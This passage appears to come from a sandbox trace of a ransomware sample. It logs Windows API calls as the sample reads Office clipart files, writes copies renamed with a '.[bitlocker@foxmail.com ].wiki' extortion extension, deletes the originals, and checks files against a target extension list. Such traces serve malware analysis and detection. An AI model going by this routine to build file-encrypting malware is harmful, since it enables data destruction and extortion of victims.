lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.897] SetEndOfFile (hFile=0x1e4) returned 1 [0188.897] CloseHandle (hObject=0x1e4) returned 1 [0188.897] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.897] SetEndOfFile (hFile=0x1d8) returned 1 [0188.898] CloseHandle (hObject=0x1d8) returned 1 [0188.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString=".doc") returned 4 [0188.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString=".docx") returned 5 [0188.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.899] lstrlenW (lpString=".pdf") returned 4 [0188.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString=".xls") returned 4 [0188.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.899] lstrlenW (lpString=".xlsx") returned 5 [0188.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.899] lstrlenW (lpString=".ppt") returned 4 [0188.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString=".zip") returned 4 [0188.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.899] lstrlenW (lpString=".rar") returned 4 [0188.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString=".bz2") returned 4 [0188.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString=".7z") returned 3 [0188.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString=".dbf") returned 4 [0188.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString=".1cd") returned 4 [0188.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.899] lstrlenW (lpString=".jpg") returned 4 [0188.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString=".doc") returned 4 [0188.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString=".docx") returned 5 [0188.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.900] lstrlenW (lpString=".pdf") returned 4 [0188.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString=".xls") returned 4 [0188.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.900] lstrlenW (lpString=".xlsx") returned 5 [0188.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.900] lstrlenW (lpString=".ppt") returned 4 [0188.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString=".zip") returned 4 [0188.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.900] lstrlenW (lpString=".rar") returned 4 [0188.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString=".bz2") returned 4 [0188.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString=".7z") returned 3 [0188.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString=".dbf") returned 4 [0188.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString=".1cd") returned 4 [0188.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0188.900] lstrlenW (lpString=".jpg") returned 4 [0188.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.901] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.901] lstrlenW (lpString="FD00586_.WMF") returned 12 [0188.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.901] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=752) returned 1 [0188.901] CloseHandle (hObject=0x1d8) returned 1 [0188.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0188.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.901] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.901] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0188.902] GetLastError () returned 0x0 [0188.902] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2f0, lpOverlapped=0x0) returned 1 [0188.956] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x300, lpOverlapped=0x0) returned 1 [0188.957] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.957] SetEndOfFile (hFile=0x1e4) returned 1 [0188.957] CloseHandle (hObject=0x1e4) returned 1 [0188.957] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.957] SetEndOfFile (hFile=0x1d8) returned 1 [0188.958] CloseHandle (hObject=0x1d8) returned 1 [0188.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0188.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.959] lstrlenW (lpString=".doc") returned 4 [0188.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString=".docx") returned 5 [0188.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.959] lstrlenW (lpString=".pdf") returned 4 [0188.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString=".xls") returned 4 [0188.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.959] lstrlenW (lpString=".xlsx") returned 5 [0188.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.959] lstrlenW (lpString=".ppt") returned 4 [0188.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.959] lstrlenW (lpString=".zip") returned 4 [0188.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.959] lstrlenW (lpString=".rar") returned 4 [0188.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString=".bz2") returned 4 [0188.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString=".7z") returned 3 [0188.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.959] lstrlenW (lpString=".dbf") returned 4 [0188.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString=".1cd") returned 4 [0188.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString=".jpg") returned 4 [0188.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString=".doc") returned 4 [0188.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString=".docx") returned 5 [0188.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.960] lstrlenW (lpString=".pdf") returned 4 [0188.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString=".xls") returned 4 [0188.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.960] lstrlenW (lpString=".xlsx") returned 5 [0188.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.960] lstrlenW (lpString=".ppt") returned 4 [0188.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString=".zip") returned 4 [0188.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.960] lstrlenW (lpString=".rar") returned 4 [0188.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString=".bz2") returned 4 [0188.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString=".7z") returned 3 [0188.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.960] lstrlenW (lpString=".dbf") returned 4 [0188.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.961] lstrlenW (lpString=".1cd") returned 4 [0188.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0188.961] lstrlenW (lpString=".jpg") returned 4 [0188.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.961] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.961] lstrlenW (lpString="FD00799_.WMF") returned 12 [0188.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.961] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13968) returned 1 [0188.961] CloseHandle (hObject=0x1d8) returned 1 [0188.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0188.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.962] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.962] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0188.962] GetLastError () returned 0x0 [0188.962] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x3690, lpOverlapped=0x0) returned 1 [0189.054] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0189.055] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.055] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.055] SetEndOfFile (hFile=0x1e4) returned 1 [0189.055] CloseHandle (hObject=0x1e4) returned 1 [0189.055] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.055] SetEndOfFile (hFile=0x1d8) returned 1 [0189.056] CloseHandle (hObject=0x1d8) returned 1 [0189.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0189.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.056] lstrlenW (lpString=".doc") returned 4 [0189.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.056] lstrlenW (lpString=".docx") returned 5 [0189.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.056] lstrlenW (lpString=".pdf") returned 4 [0189.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString=".xls") returned 4 [0189.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.057] lstrlenW (lpString=".xlsx") returned 5 [0189.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.057] lstrlenW (lpString=".ppt") returned 4 [0189.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString=".zip") returned 4 [0189.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.057] lstrlenW (lpString=".rar") returned 4 [0189.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString=".bz2") returned 4 [0189.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString=".7z") returned 3 [0189.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString=".dbf") returned 4 [0189.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString=".1cd") returned 4 [0189.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString=".jpg") returned 4 [0189.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.057] lstrlenW (lpString=".doc") returned 4 [0189.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.057] lstrlenW (lpString=".docx") returned 5 [0189.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.057] lstrlenW (lpString=".pdf") returned 4 [0189.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString=".xls") returned 4 [0189.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.058] lstrlenW (lpString=".xlsx") returned 5 [0189.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.058] lstrlenW (lpString=".ppt") returned 4 [0189.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.058] lstrlenW (lpString=".zip") returned 4 [0189.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.058] lstrlenW (lpString=".rar") returned 4 [0189.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString=".bz2") returned 4 [0189.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString=".7z") returned 3 [0189.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.058] lstrlenW (lpString=".dbf") returned 4 [0189.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.058] lstrlenW (lpString=".1cd") returned 4 [0189.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0189.058] lstrlenW (lpString=".jpg") returned 4 [0189.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.058] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.058] lstrlenW (lpString="FD01074_.WMF") returned 12 [0189.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.059] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4634) returned 1 [0189.059] CloseHandle (hObject=0x1d8) returned 1 [0189.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x20 [0189.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.059] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.059] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.060] GetLastError () returned 0x0 [0189.060] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x121a, lpOverlapped=0x0) returned 1 [0189.097] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1220, lpOverlapped=0x0) returned 1 [0189.098] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.098] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.098] SetEndOfFile (hFile=0x1e4) returned 1 [0189.098] CloseHandle (hObject=0x1e4) returned 1 [0189.098] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.098] SetEndOfFile (hFile=0x1d8) returned 1 [0189.099] CloseHandle (hObject=0x1d8) returned 1 [0189.099] SetFileAttributesW (lpFileName="C:\\Program 